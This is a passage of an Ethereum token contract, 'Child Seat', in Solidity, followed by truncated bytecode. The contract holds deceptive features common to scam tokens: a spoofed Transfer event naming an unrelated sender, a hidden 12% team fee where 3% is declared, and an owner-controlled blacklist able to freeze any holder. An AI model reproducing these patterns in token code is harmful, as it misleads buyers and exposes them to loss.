uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract ChildSeat is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Child Seat";
string private constant _symbol = "ChildSeat";
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 100 *10**9 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 3;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0xAb5801a7D398351b8bE11C439e05C5B3259aeC9B), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 3;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.mul(4).div(10));
_marketingFunds.transfer(amount.mul(6).div(10));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 100 * 10**9 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 12);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d2565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121b565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600a81526020017f4368696c64205365617400000000000000000000000000000000000000000000815250905090565b600061047261046b6112a2565b84846112aa565b6001905092915050565b600068056bc75e2d63100000905090565b600061049a848484611475565b61055b846104a66112a2565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c349092919063ffffffff16565b6112aa565b600190509392505050565b61056e6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a2565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c98565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db9565b9050919050565b6107dc6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600981526020017f4368696c64536561740000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a2565b8484611475565b6001905092915050565b6109b36112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e27565b50565b610b7d6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1668056bc75e2d631000006112aa565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff02191690831515021790555068056bc75e2d631000006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107c929190612e5f565b602060405180830381600087803b15801561109657600080fd5b505af11580156110aa573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ce9190612acd565b5050565b6110da6112a2565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611167576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115e90612fe6565b60405180910390fd5b600081116111aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a190612fa6565b60405180910390fd5b6111d960646111cb8368056bc75e2d6310000061212190919063ffffffff16565b61219c90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161121091906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561131a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131190613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561138a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138190612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146891906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114dc90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611555576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154c90612f26565b60405180910390fd5b60008111611598576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158f90613006565b60405180910390fd5b6115a0610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160e57506115de610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7157600f60179054906101000a900460ff1615611841573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561169057503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116ea5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117445750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561184057600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661178a6112a2565b73ffffffffffffffffffffffffffffffffffffffff1614806118005750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e86112a2565b73ffffffffffffffffffffffffffffffffffffffff16145b61183f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183690613086565b60405180910390fd5b5b5b60105481111561185057600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f45750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fd57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fe5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a165750600f60179054906101000a900460ff165b15611ab75742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6657600080fd5b603c42611a7391906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac230610783565b9050600f60159054906101000a900460ff16158015611b2f5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b475750600f60169054906101000a900460ff165b15611b6f57611b5581611e27565b60004790506000811115611b6d57611b6c47611c98565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c185750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2257600090505b611c2e848484846121e6565b50505050565b6000838311158290611c7c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c739190612f04565b60405180910390fd5b5060008385611c8b91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfb600a611ced60048661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d26573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d8a600a611d7c60068661212190919063ffffffff16565b61219c90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db5573d6000803e3d6000fd5b5050565b6000600654821115611e00576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df790612f46565b60405180910390fd5b6000611e0a612213565b9050611e1f818461219c90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e85577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb35781602001602082028036833780820191505090505b5090503081600081518110611ef1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9357600080fd5b505afa158015611fa7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fcb9190612973565b81600181518110612005577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206c30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112aa565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120d09594939291906130c1565b600060405180830381600087803b1580156120ea57600080fd5b505af11580156120fe573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121345760009050612196565b600082846121429190613263565b90508284826121519190613232565b14612191576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218890612fc6565b60405180910390fd5b809150505b92915050565b60006121de83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223e565b905092915050565b806121f4576121f36122a1565b5b6121ff8484846122d2565b8061220d5761220c61249d565b5b50505050565b60008060006122206124af565b91509150612237818361219c90919063ffffffff16565b9250505090565b60008083118290612285576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227c9190612f04565b60405180910390fd5b50600083856122949190613232565b9050809150509392505050565b60006008541480156122b557506000600954145b156122bf576122d0565b600060088190555060006009819055505b565b6000806000806000806122e487612511565b95509550955095509550955061234286600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d785600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242381612620565b61242d84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248a91906130a6565b60405180910390a3505050505050505050565b60056008819055506003600981905550565b60008060006006549050600068056bc75e2d6310000090506124e568056bc75e2d6310000060065461219c90919063ffffffff16565b8210156125045760065468056bc75e2d6310000093509350505061250d565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600c612717565b925092509250600061253d612213565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c34565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612213565b90506000612641828461212190919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436064612735888a61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061276d606461275f888b61212190919063ffffffff16565b61219c90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212190919063ffffffff16565b905060006127dd868961212190919063ffffffff16565b905060006127f4878961212190919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050